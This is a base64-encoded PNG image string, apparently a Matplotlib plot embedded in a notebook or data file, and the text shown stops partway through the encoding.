"iVBORw0KGgoAAAANSUhEUgAABIUAAANeCAYAAACMEr7PAAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuMSwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy/d3fzzAAAACXBIWXMAAAsTAAALEwEAmpwYAACoIUlEQVR4nOz9fZxkd13n/b/eJBFCQEIMtGMSHfYyopBIkJHFza62BCQCkrALbNgIE806ugYFd1QmeO2CemWv7EK4WQR3B8JmWAMhcmMiyE3M0rL8lgQJRCZ3mEjmipMMGe6hUSMTPr8/6nRS0+meru6um3O6Xs/Hox9d59Q5p95V3f3tU5/6nu83VYUkSZIkSZKmy4MmHUCSJEmSJEnjZ1FIkiRJkiRpClkUkiRJkiRJmkIWhSRJkiRJkqaQRSFJkiRJkqQpZFFIkiRJkiRpClkUkiRJkiRJmkIWhXSQJP8myaeSzCfZl+SDSf55c9+rkny7ue9rSf5Pkp/o23c2yd6+5bkkleQJix7jT5r1s+N6XpI2tiRnN23T4q9K8h+b9ugfkpzQt8/TkuyZYGxJHZdkT9OWnNO0N7+16P69C+c7fedR32y+/jrJHyTZ1Lf9OUk+vtzjNLePT/KeJF9K8vUku5OcM9InKqnzlnuf17RNf7TE9pXkBxetW2jrXrDE9q9Icntz/L1J3jXK56PhsSik+yT598Drgf8EzADfD7wZOKNvs3dV1cOAY4GPAn+8wmH/Gnhx32N8D/AU4ItDCy5p6lXVpVX1sP4v4GXA3cBbms2+BfyHSWWUtOF9BXh5ku8+xDbvqqqHA8cAzwW+F7iuvzA0gP8J/C3wA8D30DvPunttkSVNgwHf5w1iK722buui428FXgQ8rTkH2wJcvb7UGheLQgIgySOA3wPOq6r3VtW3qurbVfWnVfVbi7evqgPApcBxSR51iENfCvzrJIc1yy8E3gf845CfgiTdJ8kTgdcBZ1XVvmb1fwVeuPhTL0kakpuBTwC/sdKGzTnWjcC/pvdB2fZVPM6PA5c052oHquozVfXBNSWWtOGt9n3eIY7zA8BPAduAZySZ6bv7x4EPV9XfAFTVF6pq5xCfhkbIopAW/ATwEHoFmxUl+S56n0x9GfjqITa9C7gJ+Jlm+cXA29ceU5IOLcnRwLuB/6eq5vruupNer6FXjT+VpCnxH4DfSHLMIBtX1b3AFcC/WMVjXAO8KclZSb5/DRklTZdVvc87hBcDn6qq99Argp/dd981wIuT/FaSLX0dAtQBFoW04HuALzU9gA7lBUm+Bvw98EvA8wbY5+30GonHAkdX1SfWnVaSlpAkwC7gBuC/LLHJ/wv8XJLHjzWYpKlQVdcDHwFevord7qJ3Odmgng/8b3oFqNuTXJ/kx1exv6TpMsj7vBc0Y8be97XENi8G3tHcfgd9l5BV1R8BvwY8A/gLYH+SHUNJr5GzKKQFXwaOTXL4CttdXlVH07sW9QbgSQMc+73AU+k1FP9zPSElaQUvB04CtlZVLb6zqr4I/AG9btSSNAr/Efh3Sb53wO2PozdGB8AB4IgltjkC+DZAVX21qnZU1ePpnY9dD/xJUxSXpMUGeZ93eVUd3f/Vf2eSU4HHAJc1q94BnJzklIVtmvEdnwYcDfwK8HtJnjG8p6FRsSikBZ8A/gE4c5CNq+pLwC8Dr1ppcMSq+jvgg8C/w6KQpBFpZvj5HXo9GL92iE1fDfw0gxW1JWlVquoWeh+IvWKlbZM8CPg5ej1/AO4Avr+/wJPkocCjgf9vicf6EvAa4PtYXW8jSdNjVe/zlrEVCHB9ki8A1zbrX7x4w2a8oj8GPkvvgzq1nEUhAVBVX6f3ydabkpyZ5KFJjkjys0mWugRj4aTnw8BvD/AQrwB+qqr2DC20JDWa4vRlwMuq6jOH2rYpGF3EYG2XJK3F7wK/QO8T8wdozrF+BHgnvRnIXtvcdS29N287kjwkyVHAhcCnaIpCSf5zkpOSHJ7k4fQ+dLutqr48yickqZvW8j6vX5KHAC+gN8D0KX1fvwac3bRF5yR5VpKHJ3lQkp8FHs/9xSO1mEUh3aeqXgv8e+D/pjcTxt8CLwH+5BC7vRrYluTRKxz7rqr6+JCiStJiv0TvMoo3JJlf9PXfltj+DcC9440oaVpU1e30ekcfteiuf51kHvgacCW9yzqeVFV3NfvdAzwLmAX2Ap+n1wvoBX2XxD6U3oCxX2vu/wHgOaN7NpK6bo3v8xacSW882bc3s4p9oaq+AFwMHAacDnyDXieAO+i1Tf8F+He+/+uGLDHkgiRJkiRJkjY4ewpJkiRJkiRNIYtCkiRJkiRJU8iikCRJkiRJ0hSyKCRJkiRJkjSFDp90AIBjjz22Nm/ePNC23/rWtzjqqMUTObRfV3NDd7N3NTdMNvt11133pap61EQevIU2WvvUhYzQjZxmHJ5Bc9o+HexQ7VNbf/bmWh1zrY7nT+0y6DlUW3+f+nUhI3QjZxcyQjdyDu38qaom/vWkJz2pBvXRj3504G3bpKu5q7qbvau5qyabHfhUtaBdaMvXRmufupCxqhs5zTg8g+a0fRq8fWrrz95cq2Ou1fH8qV1fg55DtfX3qV8XMlZ1I2cXMlZ1I+ewzp+8fEySJEmSJGkKWRSSJEmSJEmaQhaFJEmSJEmSppBFIUmSJEmSpClkUUiSJEmSJGkKrVgUSvKQJJ9M8ldJbkzyu836VyW5M8n1zdcz+/Y5P8ltST6X5BmjfAKSJEmSJElavcMH2OYe4KlVNZ/kCODjST7Y3Pe6qnpN/8ZJHgecBTwe+D7gz5P8UFXdO4zAu+/8Oufs+MB9y3sufNYwDitJ62b7JEnqgs19/6vA/1eaLM+fpMlasadQM7X9fLN4RPNVh9jlDOCyqrqnqm4HbgOevO6kkiRJkiRJGppBegqR5DDgOuAHgTdV1bVJfhZ4SZIXA58CtlfVV4HjgGv6dt/brFt8zG3ANoCZmRnm5uYGCjxzJGw/+cB9y4PuN2nz8/OdybpYV7N3NTd0O7skSZIkqRsGKgo1l36dkuRo4H1JTgL+EPh9er2Gfh+4CPhFIEsdYolj7gR2AmzZsqVmZ2cHCvzGS6/got33x95z9mD7Tdrc3ByDPse26Wr2ruaGbmeXJEmSJHXDqmYfq6qvAXPA6VV1d1XdW1XfAd7C/ZeI7QVO6NvteOCu9UeVJEmSJEnSsAwy+9ijmh5CJDkSeBpwS5JNfZs9F7ihuX0lcFaSByd5DHAi8MmhppYkSZIkSdK6DNJTaBPw0SSfBf4SuKqq3g/8lyS7m/U/DfwGQFXdCFwO3AR8CDhvWDOPSVK/JA9J8skkf5XkxiS/26x/VZI7k1zffD2zb5/zk9yW5HNJnjG59JIkSZI0WSuOKVRVnwWeuMT6Fx1inwuAC9YXTZJWdA/w1KqaT3IE8PEkH2zue11VvaZ/4ySPA84CHg98H/DnSX7IwrUkSZKkabSqMYUkqU2qZ75ZPKL5esDA9n3OAC6rqnuq6nbgNu4fD02SJEmSpopFIUmdluSwJNcD++ld3nptc9dLknw2yduSPLJZdxzwt327723WSZIkSdLUGWhKeklqq+bSr1OaAfHfl+Qk4A+B36fXa+j3gYuAXwSy1CEWr0iyDdgGMDMzw9zc3EBZZo6E7ScfuG950P3GaX5+vpW5FutCTjMOT1dySpIkbTQWhSRtCFX1tSRzwOn9YwkleQvw/mZxL3BC327HA3ctcaydwE6ALVu21Ozs7EAZ3njpFVy0+/5mdc/Zg+03TnNzcwz6fCapCznNODxdySlJkrTRePmYpM5K8qimhxBJjgSeBtySZFPfZs8FbmhuXwmcleTBSR4DnAh8coyRJU2J5tLV/Ulu6Fv36iS3NJe2vm+h/Wruc2ZESZI0dhaFJHXZJuCjST4L/CW9MYXeD/yXJLub9T8N/AZAVd0IXA7cBHwIOM+ZxySNyCXA6YvWXQWcVFU/Cvw1cD48YGbE04E3JzlsfFElSdK08vIxSZ1VVZ8FnrjE+hcdYp8LgAtGmUuSqupjSTYvWveRvsVrgOc1t++bGRG4PcnCzIifGEdWSZI0vSwKSZIkjd8vAu9qbh9Hr0i0YNmZEQcdCL+tg3eba3VGlat/UgRY/cQI0/Z6SdJGZlFIkiRpjJL8DnAAuHRh1RKbPWBmRBh8IPy2Dt5trtUZVa5zdnzgoOXVTowwba+XJG1kFoUkSZLGJMlW4NnAaVW1UPgZaGZESZKkYXOgaUmSpDFIcjrwcuA5VfV3fXc5M6IkSZoIewpJkiQNWZJ3ArPAsUn2Aq+kN9vYg4GrkgBcU1W/UlU3JlmYGfEAzowoSZLGxKKQJEnSkFXVC5dYffEhtndmREmSNHYrXj6W5CFJPpnkr5LcmOR3m/XHJLkqya3N90f27XN+ktuSfC7JM0b5BCRJkiRJq5PksCSfSfL+Ztn3d9IUGmRMoXuAp1bVE4BTgNOTPAXYAVxdVScCVzfLJHkccBbweOB04M1JDhtBdkmSJEnS2rwUuLlv2fd30hRasShUPfPN4hHNVwFnALua9buAM5vbZwCXVdU9VXU7cBvw5GGGliRJkiStTZLjgWcBb+1b7fs7aQoNNKZQUwm+DvhB4E1VdW2SmaraB1BV+5I8utn8OOCavt33NusWH3MbsA1gZmaGubm5gQLPHAnbTz5w3/Kg+03a/Px8Z7Iu1tXsXc0N3c4uSZKk1ns98NvAw/vWrev9HaztPV4X3t915dy8Czm7kBG6kXNYGQcqCjUzYJyS5GjgfUlOOsTmWeoQSxxzJ7ATYMuWLTU7OztIFN546RVctPv+2HvOHmy/SZubm2PQ59g2Xc3e1dzQ7eySJElqryTPBvZX1XVJZgfZZYl1D3h/B2t7j9eF93ddOTfvQs4uZIRu5BxWxlXNPlZVX0syR+9a0ruTbGqqyJuA/c1me4ET+nY7Hrhr3UklSZIkSet1KvCcJM8EHgJ8d5I/wvd30lQaZPaxRzU9hEhyJPA04BbgSmBrs9lW4Irm9pXAWUkenOQxwInAJ4ecW5IkSZK0SlV1flUdX1Wb6Q0g/b+q6ufx/Z00lQbpKbQJ2NWMK/Qg4PKqen+STwCXJzkXuAN4PkBV3ZjkcuAm4ABwXnP5mSQNVZKHAB8DHkyvPXt3Vb0yyTHAu4DNwB7gBVX11Waf84FzgXuBX6+qD08guiRJUttciO/vpKmzYlGoqj4LPHGJ9V8GTltmnwuAC9adTpIO7R7gqVU1n+QI4ONJPgj8S3pTql6YZAe9KVVfvmhK1e8D/jzJD3liI0mSplFVzQFzzW3f30lTaMXLxySprapnvlk8ovkqnFJVkiRJkla0qoGmJaltmktbrwN+EHhTVV2bZF1Tqq5lOlVwStVh6kJOMw5PV3JKkiRtNBaFJHVac+nXKc2A+O9LctIhNh9oStW1TKcKTqk6TF3Iacbh6UpOSZKkjcbLxyRtCFX1NXrXxJ9OM6UqgFOqSpIkSdLSLApJ6qwkj2p6CJHkSOBpwC04paokSZIkrcjLxyR12SZgVzOu0IOAy6vq/Uk+gVOqSpIkSdIhWRSS1FlV9VngiUusd0pVSROV5G3As4H9VXVSs+4Y4F3AZmAP8IKq+mpz3/nAucC9wK9X1YcnEFuSJE0ZLx+TJEkavkvojXHWbwdwdVWdCFzdLJPkccBZwOObfd7c9ICUJEkaKYtCkiRJQ1ZVHwO+smj1GcCu5vYu4My+9ZdV1T1VdTtwG/DkceSUJEnTzcvHJEmSxmOmqvYBVNW+JI9u1h8HXNO33d5m3QMk2QZsA5iZmWFubm7JB5qfn1/2vkky1+qMKtf2kw8ctLzax5i210uSNjKLQpIkSZOVJdbVUhtW1U5gJ8CWLVtqdnZ2yQPOzc2x3H2TZK7VGVWuc3Z84KDlPWev7jGm7fWSpI3My8ckSZLG4+4kmwCa7/ub9XuBE/q2Ox64a8zZJEnSFLIoJEmSNB5XAlub21uBK/rWn5XkwUkeA5wIfHIC+SRJ0pTx8jFJkqQhS/JOYBY4Nsle4JXAhcDlSc4F7gCeD1BVNya5HLgJOACcV1X3TiS4JEmaKisWhZKcALwd+F7gO8DOqnpDklcBvwR8sdn0FVX1Z80+5wPnAvcCv15VHx5BdkmSpFaqqhcuc9dpy2x/AXDB6BJJkiQ90CA9hQ4A26vq00keDlyX5KrmvtdV1Wv6N07yOOAs4PHA9wF/nuSH/MRLkiRJkiSpPVYcU6iq9lXVp5vb3wRuZplpUhtnAJdV1T1VdTtwG/DkYYSVJEmSJEnScKxqTKEkm4EnAtcCpwIvSfJi4FP0ehN9lV7B6Jq+3fayRBEpyTZgG8DMzAxzc3MDZZg5EraffOC+5UH3m7T5+fnOZF2sq9m7mhu6nV2SJEmS1A0DF4WSPAx4D/CyqvpGkj8Efh+o5vtFwC8CWWL3esCKqp3AToAtW7bU7OzsQDneeOkVXLT7/th7zh5sv0mbm5tj0OfYNl3N3tXc0O3skiRJkqRuGGhK+iRH0CsIXVpV7wWoqrur6t6q+g7wFu6/RGwvcELf7scDdw0vsiT1JDkhyUeT3JzkxiQvbda/KsmdSa5vvp7Zt8/5SW5L8rkkz5hcekmSJEmarEFmHwtwMXBzVb22b/2mqtrXLD4XuKG5fSXwjiSvpTfQ9InAJ4eaWpJ6HAhfkiRJktZokMvHTgVeBOxOcn2z7hXAC5OcQu/SsD3ALwNU1Y1JLgduoveG7TzfcEkahaYwva+5/c0kAw+ED9yeZGEg/E+MPKwkSZIktcyKRaGq+jhLjxP0Z4fY5wLggnXkkqRVcSD8wXRlEPMu5DTj8HQlpyRJ0kazqtnHJKmNHAh/cF0ZxLwLOc04PF3JKUmStNEMNNC0JLWVA+FLkiRJ0tpYFJLUWYcaCL9vs8UD4Z+V5MFJHoMD4UuSpCmT5CFJPpnkr5rZW3+3WX9MkquS3Np8f2TfPs7eKm1QXj4mqcscCF+SJGl17gGeWlXzTY/rjyf5IPAvgaur6sIkO4AdwMudvVXa2CwKSeosB8KXJElanaoqYL5ZPKL5KnqztM4263cBc8DLcfZWaUOzKCRJkiRJUyTJYcB1wA8Cb6qqa5PMVNU+gKral+TRzeYDzd7aHHfVM7g6e+vwdCFnFzJCN3IOK6NFIUmSJEmaIs2lX6ckORp4X5KTDrH5QLO3Nsdd9Qyuzt46PF3I2YWM0I2cw8roQNOSJEljlOQ3msFdb0jyzmbQ12UHeJWkUamqr9G7TOx04O6FyTqa7/ubzZy9VdrALApJkiSNSZLjgF8HtlTVScBh9AZw3UFvgNcTgaubZUkauiSPanoIkeRI4GnALfRmad3abLYVuKK57eyt0gbm5WOSJEnjdThwZJJvAw+l94n7+Sw9wKskDdsmYFczrtCDgMur6v1JPgFcnuRc4A7g+eDsrdJGZ1FIkiRpTKrqziSvofeG6++Bj1TVRw4xwOtBBh3Eta0DZJprdUaVq39QX1j9wL7T9nptNFX1WeCJS6z/MnDaMvs4e6u0QVkUkiRJGpNmrKAzgMcAXwP+OMnPD7r/oIO4tnWATHOtzqhynbPjAwctr3Zg32l7vSRpI3NMIUmSpPF5GnB7VX2xqr4NvBf4Zyw/wKskSdLIrFgUSnJCko8mubmZKeOlzfplZ8lIcn6S25J8LskzRvkEJEmSOuQO4ClJHpok9C7VuJnlB3iVJEkamUF6Ch0AtlfVjwBPAc5L8jiWmSWjue8s4PH0pjZ8czOImSRJ0lSrqmuBdwOfBnbTOxfbCVwIPD3JrcDTm2VJkqSRWnFMoWbQw4WBD7+Z5GbgOHrXw882m/XPknEGcFlV3QPcnuQ24MnAJ4YdXpIkqWuq6pXAKxetvodlBniVJEkalVUNNJ1kM72R6q8Flpsl4zjgmr7d9jbrFh9roNkzFps58uAZE7oyw0CXZ0Poavau5oZuZ5ckSZIkdcPARaEkDwPeA7ysqr7Ruwx+6U2XWFcPWDHg7BmLvfHSK7ho9/2xVztbwqR0eTaErmbvam7odvZxSnIC8Hbge4HvADur6g1JjgHeBWwG9gAvqKqvNvucD5wL3Av8elV9eALRJUmSJGniBpp9LMkR9ApCl1bVe5vVy82SsRc4oW/344G7hhNXkg7imGeSJEmStEaDzD4W4GLg5qp6bd9dy82ScSVwVpIHJ3kMcCLwyeFFlqSeqtpXVZ9ubn+T3gw+C2Oe7Wo22wWc2dy+b8yzqrodWBjzTJIkSZKmziCXj50KvAjYneT6Zt0r6M2KcXmSc+lNr/p8gKq6McnlwE30PsU/r6ruHXZwSeo3zDHPJEmSJGkaDDL72MdZepwgWGaWjKq6ALhgHbkkaWDDHvNsIw+E35VBzLuQ04zD05WckiRJG82qZh+TpLY51JhnTS+hVY95tpEHwu/KIOZdyGnG4elKTkmSpI1moIGmJamNHPNMkiRJktbOnkKSuswxzyRJkiRpjSwKSeosxzyTJEmSpLXz8jFJkiRJkqQpZFFIkiRJkiRpClkUkiRJkiRJmkIWhSRJkiRJkqaQRSFJkiRJkqQpZFFIkiRpjJIcneTdSW5JcnOSn0hyTJKrktzafH/kpHNKkqSNz6KQJEnSeL0B+FBV/TDwBOBmYAdwdVWdCFzdLEuSJI2URSFJkqQxSfLdwE8CFwNU1T9W1deAM4BdzWa7gDMnkU+SJE2XwycdQJIkaYr8E+CLwP9I8gTgOuClwExV7QOoqn1JHr3Uzkm2AdsAZmZmmJubW/JB5ufnl71vksy1OqPKtf3kAwctr/Yxpu31kqSNbMWiUJK3Ac8G9lfVSc26VwG/RO+kBuAVVfVnzX3nA+cC9wK/XlUfHkFuSZKkLjoc+DHg16rq2iRvYBWXilXVTmAnwJYtW2p2dnbJ7ebm5ljuvkky1+qMKtc5Oz5w0PKes1f3GNP2em00SU4A3g58L/AdYGdVvSHJMcC7gM3AHuAFVfXVZh/f40kb1CCXj10CnL7E+tdV1SnN10JB6HHAWcDjm33enOSwYYWVJEnquL3A3qq6tll+N70i0d1JNgE03/dPKJ+kje8AsL2qfgR4CnBe8z5uybHNfI8nbWwrFoWq6mPAVwY83hnAZVV1T1XdDtwGPHkd+SRJkjaMqvoC8LdJHtusOg24CbgS2Nqs2wpcMYF4kqZAVe2rqk83t79Jb7D741h+bDPf40kb2HrGFHpJkhcDn6JXaf4qvcbkmr5t9jbrJEmS1PNrwKVJvgv4PPAL9D6ouzzJucAdwPMnmE/SlEiyGXgicC3Lj23mezxpA1trUegPgd8Hqvl+EfCLQJbYtpY6wKADJS42c+TBg+N1ZTC5Lg9819XsXc0N3c4+To55JqmLqup6YMsSd5025iiSpliShwHvAV5WVd9Ilnor19t0iXVDe4/Xhfd3XTk370LOLmSEbuQcVsY1FYWq6u6F20neAry/WdwLnNC36fHAXcscY6CBEhd746VXcNHu+2OvdmC8SenywHddzd7V3NDt7GN2CfAH9AZL7Pe6qnpN/4pF18N/H/DnSX6oqu4dR1BJkqS2SHIEvYLQpVX13mb13Uk2Nb2E+sc2G+l7vC68v+vKuXkXcnYhI3Qj57AyDjLQ9AMsDITYeC5wQ3P7SuCsJA9O8hjgROCT64soSUtzzDNJkqTVSa9L0MXAzVX12r67lhvbzPd40gY2yJT07wRmgWOT7AVeCcwmOYVet8E9wC8DVNWNSS6nN2DiAeA8P4WXNAHrGvNsI1/e2oWusNCNnGYcnq7klKQN4lTgRcDuJNc3614BXMgSY5v5Hk/a2FYsClXVC5dYffEhtr8AuGA9oSRpHdY95tlGvry1C11hoRs5zTg8XckpSRtBVX2cpc+LYJmxzXyPJ21ca7p8TJLaqqrurqp7q+o7wFu4/xKxga+HlyRJkqRpYFFI0obimGeSJEmSNJi1TkkvSRPnmGeSJEmStHYWhSR1lmOeSZIkSdLaefmYJEmSJEnSFLIoJEmSJEmSNIUsCkmSJEmSJE0hi0KSJEmSJElTyKKQJEmSJEnSFLIoJEmSJEmSNIUsCkmSJEmSJE0hi0KSJEljluSwJJ9J8v5m+ZgkVyW5tfn+yElnlCRJG59FIUmSpPF7KXBz3/IO4OqqOhG4ulmWJEkaKYtCkiRJY5TkeOBZwFv7Vp8B7Gpu7wLOHHMsSZI0hQ5faYMkbwOeDeyvqpOadccA7wI2A3uAF1TVV5v7zgfOBe4Ffr2qPjyS5JIkSd30euC3gYf3rZupqn0AVbUvyaOX2jHJNmAbwMzMDHNzc0s+wPz8/LL3TZK5VmdUubaffOCg5dU+xrS9XpK0ka1YFAIuAf4AeHvfuoUuzhcm2dEsvzzJ44CzgMcD3wf8eZIfqqp7hxtbkiSpe5IsfNB2XZLZ1e5fVTuBnQBbtmyp2dmlDzE3N8dy902SuVZnVLnO2fGBg5b3nL26x5i210uSNrIVLx+rqo8BX1m0erkuzmcAl1XVPVV1O3Ab8OThRJWkgyV5W5L9SW7oW7fsYK1Jzk9yW5LPJXnGZFJLmnKnAs9Jsge4DHhqkj8C7k6yCaD5vn9yESVJ0rQYpKfQUpbr4nwccE3fdnubdQ8waPfnBzzwkQd3ee1KF9Eud2ftavau5oZuZx+zS7Ano6QOqarzgfMBmp5Cv1lVP5/k1cBW4MLm+xWTyihJkqbHWotCy8kS62qpDQft/rzYGy+9got23x97td1dJ6XL3Vm7mr2ruaHb2cepqj6WZPOi1WcAs83tXcAc8HL6ejICtydZ6Mn4ibGElaRDuxC4PMm5wB3A8yecR5IkTYG1FoXuTrKp6SXU38V5L3BC33bHA3etJ6AkrZI9GQ+hK73QupDTjMPTlZzDVlVz9ArXVNWXgdMmmUeSJE2ftRaFrmTpLs5XAu9I8lp6l2ecCHxyvSElaQjsyUh3eqF1IacZh6crOTVamxcPfnzhsyaURJKk6THIlPTvpHcpxrFJ9gKvZJkuzlV1Y5LLgZuAA8B5jtchaczsyShJkiRJA1ixKFRVL1zmriW7OFfVBcAF6wklSetgT0ZJmlL2NpIkaXWGPdC0JI2NPRklSZIkae0sCknqLHsySpIkSdLaPWjSASRJkiRJ45PkbUn2J7mhb90xSa5Kcmvz/ZF9952f5LYkn0vyjMmkljQKFoUkSZI0cpt3fIDdd36dzTs+8ICxf9R+Cz+3hZ+jOu8S4PRF63YAV1fVicDVzTJJHgecBTy+2efNSQ4bX1RJo2RRSJIkSZKmSFV9DPjKotVnALua27uAM/vWX1ZV91TV7cBtwJPHkVPS6DmmkCRJkiRppqr2AVTVviSPbtYfB1zTt93eZt0DJNkGbAOYmZlhbm5u5Qc9EraffOC+5UH2Gbf5+flW5lqsCzm7kBG6kXNYGS0KSZIkSZKWkyXW1VIbVtVOYCfAli1banZ2dsWDv/HSK7ho9/1vS/ecvfI+4zY3N8cgz2XSupCzCxmhGzmHldHLxyRJkiRJdyfZBNB839+s3wuc0Lfd8cBdY84maUQsCkmSJEmSrgS2Nre3Alf0rT8ryYOTPAY4EfjkBPJJGgEvH5MkSZKkKZLkncAscGySvcArgQuBy5OcC9wBPB+gqm5McjlwE3AAOK+q7p1IcElDZ1FIkiRJ67Z4mvk9Fz5rQkkkraSqXrjMXacts/0FwAWjSyRpUrx8TJIkSZIkaQpZFJIkSRqTJCck+WiSm5PcmOSlzfpjklyV5Nbm+yMnnVWSJG186yoKJdmTZHeS65N8qlnnSY0kSdLSDgDbq+pHgKcA5yV5HLADuLqqTgSubpYlSZJGahhjCv10VX2pb3nhpObCJDua5ZcP4XEkaWBJ9gDfBO4FDlTVliTHAO8CNgN7gBdU1VcnlVHS9KmqfcC+5vY3k9wMHAecQW/QV4BdwBwtP39aPIZQFy08h+0nH+CcHR9wHCRJ0tQZxUDTnTupkbRhWbSW1FpJNgNPBK4FZpqCEVW1L8mjl9lnG7ANYGZmhrm5uSWPPT8/v+x9g9h959cPWj75uEc8YJvtJx845DEWP/72kw8wc+T9+y11/6H2H8Rqj7Gw/UKu9bxmo7Den+Ny1vJa9+8zc+Tafj6jNqrXS5I2svUWhQr4SJIC/ntV7WTIJzWL9Z9MQDv/IS2ly/+kupq9q7mh29lbzqK1pFZI8jDgPcDLquobSQbarznX2gmwZcuWmp2dXXK7ubk5lrtvEOcsnkns7Acea/E2iy3e55wdH2D7yQe4aPfhy96/0mOuZLXHOKevp9BFuw9f02OO0np/jstZy2vdv8/2kw/wghHkWq9RvV6StJGttyh0alXd1RR+rkpyy6A7DnpSs9gbL73ivpMJWNsJwyR0+Z9UV7N3NTd0O3uLrLloLUmjlOQIegWhS6vqvc3qu5NsatqmTcD+ySWUJEnTYl1Foaq6q/m+P8n7gCfjSY2kdlhz0Xoj92TsSi+0LuQ04/B0JecwpNcl6GLg5qp6bd9dVwJbgQub71dMIJ4kSZoyay4KJTkKeFAzSOJRwM8Av4cnNZJaYD1F643ck7ErvdC6kNOMw9OVnENyKvAiYHeS65t1r6B33nR5knOBO4DnTyaeJEmaJuvpKTQDvK+5Bv5w4B1V9aEkf4knNZImyKK1pLaqqo8Dyw0gdNo4s0iSJK25KFRVnweesMT6L+NJjaTJsmgtSVq1zUsMnu009cOx+LX1dZWkdhjFlPSSNFEWrSWp/ZYqwKx0v4UESZKG60GTDiBJkiRJkqTxs6eQJEnSlFntpTwr9eqRJEndZE8hSZIkSZKkKWRRSJIkSZIkaQptuMvHnNlAkiRpdbpyeZjneZKkabX4f+Alpx81lONuuKKQJGl5u+/8Ouf0/UPxDZUkjZeFLUlSm3S+KNSVT7YkSZI0WZ43SpJ0sM4XhVbipzGSJEkbk0UeHYrvAyRpZQ40LUmSJEmSNIU2fE+hxQb5RMlPESRJG8HiMaTA/3Ean2ntxWPvFElSl0xdUUiSJEkalmktfm1UFvUkTRuLQmvgPwtJkiRJktR1FoWW4Cc+ktpq2EVpL6mVpPZZaJu3n3yAc3Z8wHZYkjQyIysKJTkdeANwGPDWqrpwVI8lSath+zRcKxWq1lLIWjwWzjCOKXXBqNonP/CStF6eP0kb00iKQkkOA94EPB3YC/xlkiur6qZRPF7bLHXitfBJDyz95sU3ONJ4THv7NA7T8uZzpcLVRrXaIuBS22hptk+S2sr2Sdq4RtVT6MnAbVX1eYAklwFnABuy0VjtG6BBth/FJ++jfsy1ZOpCMWy1GdvyhqgLr+2EbOj2aaX2ZfvJo3+MLmjrZXPjaPtXeu7jeN6LM1xy+lEjf8yO2NDtk6ROs32SNqhU1fAPmjwPOL2q/m2z/CLgn1bVS/q22QZsaxYfC3xuwMMfC3xpiHHHpau5obvZu5obJpv9B6rqURN67JGzfepERuhGTjMOz6A5bZ8Gb5/a+rM31+qYa3U8fxqRQdqnZv1azqHa+vvUrwsZoRs5u5ARupFzKOdPo+oplCXWHVR9qqqdwM5VHzj5VFVtWWuwSelqbuhu9q7mhm5n74Cpbp+6kBG6kdOMw9OVnGMwtPapra+puVbHXKvT1lwbxIrtE6ztHKoLP7cuZIRu5OxCRuhGzmFlfNAwwixhL3BC3/LxwF0jeixJWg3bJ0ltZfskqa1sn6QNalRFob8ETkzymCTfBZwFXDmix5Kk1bB9ktRWtk+S2sr2SdqgRnL5WFUdSPIS4MP0pix8W1XdOKTDr/qSjpboam7obvau5oZuZ28126dOZIRu5DTj8HQl50gNuX1q62tqrtUx1+q0NVfnef7UiYzQjZxdyAjdyDmUjCMZaFqSJEmSJEntNqrLxyRJkiRJktRiFoUkSZIkSZKmUGeKQklOT/K5JLcl2THpPIeS5IQkH01yc5Ibk7y0WX9MkquS3Np8f+Sksy4lyWFJPpPk/c1yV3IfneTdSW5pXvuf6EL2JL/R/J7ckOSdSR7Shdy6X1vbpy61RW1vd7rSvrSxPUnytiT7k9zQt27ZTEnOb/6WPpfkGePMulG0uE3ak2R3kuuTfGqCOVb1OznhXK9Kcmfzml2f5JkTyNW6/yWHyDTx10vLW6ltSs9/be7/bJIfa2HGs5tsn03yf5I8oW0Z+7b78ST3JnneOPP1Pf6KOZPMNn+rNyb5i7ZlTPKIJH+a5K+ajL8wgYwP+N+w6P51/910oiiU5DDgTcDPAo8DXpjkcZNNdUgHgO1V9SPAU4Dzmrw7gKur6kTg6ma5jV4K3Ny33JXcbwA+VFU/DDyB3nNodfYkxwG/DmypqpPoDdx3Fi3Prfu1vH3qUlvU9nan9e1Li9uTS4DTF61bMlPz+3kW8Phmnzc3f2MaUMvbJICfrqpTqmrLBDNcwoC/k2N2CQ/MBfC65jU7par+bMyZoJ3/S5bLBJN/vbSEAdumnwVObL62AX/Ywoy3Az9VVT8K/D5jHox40Da+2e4/0xsYfOwGyZnkaODNwHOq6vHA89uWETgPuKmqngDMAhelN/veOF3C0v8bFqz776YTRSHgycBtVfX5qvpH4DLgjAlnWlZV7auqTze3v0nvzcNx9DLvajbbBZw5kYCHkOR44FnAW/tWdyH3dwM/CVwMUFX/WFVfowPZ6c0CeGSSw4GHAnfRjdzqaW371JW2qO3tTsfal9a1J1X1MeAri1Yvl+kM4LKquqeqbgduo/c3psG1tk1qi1X+To7NMrkmro3/Sw6RSe01SNt0BvD26rkGODrJpjZlrKr/U1VfbRavAY4fY76BMjZ+DXgPsH+c4foMkvPfAO+tqjsAqmrcWQfJWMDDkwR4GL02+sA4Qw7wv2HdfzddKQodB/xt3/JeOtLwJ9kMPBG4Fpipqn3Q+2cGPHqC0ZbzeuC3ge/0retC7n8CfBH4H+ldgvLWJEfR8uxVdSfwGuAOYB/w9ar6CC3PrYN0on1qeVv0etrd7nSifelYe7Jcpk78PbVcm1/DAj6S5Lok2yYdZpE2/p0seElzScDbxnmJ1lLa+L9kUSZo0eulgwzSNk26/Vrt458LfHCkiR5oxYxNz+HnAv9tjLkWG+S1/CHgkUnmmv8LLx5bup5BMv4B8CP0PmTbDby0qr5Du6z776YrRaEssa7GnmKVkjyMXoX2ZVX1jUnnWUmSZwP7q+q6SWdZg8OBHwP+sKqeCHyLyV9usqLmZOUM4DHA9wFHJfn5yabSKrW+fWpzW9SRdqcT7csGaU9a//fUAW1+DU+tqh+j19X9vCQ/OelAHfCHwP8FnEKv2HvRpIK08X/JEpla83rpAQZpmybdfg38+El+ml5R6OUjTbTEQy+xbnHG1wMvr6p7Rx9nWYPkPBx4Er3e4s8A/kOSHxp1sD6DZHwGcD2986pTgD9oepC3ybr/brpSFNoLnNC3fDy9al1rJTmC3j+pS6vqvc3quxe6cjXfJ9WdbzmnAs9Jsode97mnJvkj2p8ber8je6tq4VOid9N7E9f27E8Dbq+qL1bVt4H3Av+M9ufW/VrdPnWgLepCu9OV9qVL7clymVr999QRrX0Nq+qu5vt+4H2069LANv6dUFV3V9W9zSfTb2FCr1kb/5cslaktr5eWNEjbNOn2a6DHT/Kj9C55P6OqvjymbAsGybgFuKw5t3oevfH5zhxLuvsN+vP+UFV9q6q+BHyM3riN4zJIxl+gd4lbVdVt9MaU+uEx5RvUuv9uulIU+kvgx